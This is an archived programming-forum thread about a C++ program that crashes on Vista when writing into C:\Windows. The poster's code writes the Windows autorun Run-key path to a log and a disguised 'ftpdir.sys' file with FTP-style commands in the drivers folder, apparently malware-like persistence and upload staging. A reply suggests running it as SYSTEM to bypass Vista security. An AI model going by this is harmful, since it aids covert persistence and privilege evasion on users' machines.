Crash on Vista, works on XP. Ofstream problem ?

Hi there,

My program crashes on Vista but works in xp (even in compatibly mode on vista).

I found out where the crash is, but I don't know why:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
         ...main code...        

        char path[MAX_PATH];
        ofstream regedit;
        regedit.open("C:\\Windows\\regedit.log");
       	regedit << "SOFTWARE\\" << "Microsoft\\" << "Windows" << "\\CurrentVersion\\" << "Run";
	regedit.close(); 

  //The above works!


  ofstream sysdir;
  sysftpdir.open("C:\\Windows\\system32\\drivers\\ftpdir.sys");
  sysftpdir<<"test1\n"
  sysftpdir<<"mkdir "+ComputerName()+"\n";
  sysftpdir<<"test2\n";
  sysftpdir<<"test3\n";
  sysftpdir.close(); 

  //The above file does not gets created! 


The code of Computername:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
string ComputerName()
{
	char ComputerName[16];

	DWORD BufferSize = 16;
	string CompName;
	if(GetComputerName(ComputerName, &BufferSize))
	{
		CompName = ComputerName;
		} else {
			cout << "Error: " << CompName << endl;
		}
	return CompName;
}


Thanks for your time!

PS: I googled a bit, and read it's a memory leak that xp didn't detect but vista does. Could you explain?
Have you tried running this as an 'Administrator' under Vista? Remeber for that particular OS, Security Center was a little anal when it came to programs accessing the systemroot, especially if they claimed to run as a priviledged account. Also try running your app through the Schedular in Vista, this should run it as the System user and by-pass all of that Psuedo-Security nonsense.

EDIT: As for the "Memory Leak" thing, I'm sorry I cannot explain what seems to be a psuedo-intellectualls cop-out because they cannot answer an posters question. If for some reason your computers name would take up more then 16 chars, then do as MSDN says here: http://msdn.microsoft.com/en-us/library/ms724295(VS.85).aspx and call "GetLastError()" to see what it is and run the value up against this: http://msdn.microsoft.com/en-us/library/ms681381(VS.85).aspx
Let us know what you find.
Last edited on
Hi there, thanks for your reply!

Yes, I tried running as administrator, but the program still crashes.

I also tried to change the 16chars into MAX_PATH, but no changes as well :(

I know about GetLastError, but my program needs to be a console for that (and not a win32 app), and because of that I need to leave some things out of the program, like GDI, as they only work as win32 apps. I will try that tomorrow if there is no new solution :)
You could not use "GetLastError()" OR you could pipe the output to a "error.txt" file with 'ofstream'; the CLI console is not the only output option you have.
You should always obey the documentation for a function. Your "ComputerName" array should be:
char ComputerName[MAX_COMPUTERNAME_LENGTH + 1];

Hope this helps.
Hi there,

What I tried:
- Change Computername[16] into ComputerName[MAX_COMPUTERNAME_LENGTH + 1]
- Turning UAC off on the computer

That did not work. I will get back on to GetLastError later today.
Topic archived. No new replies allowed.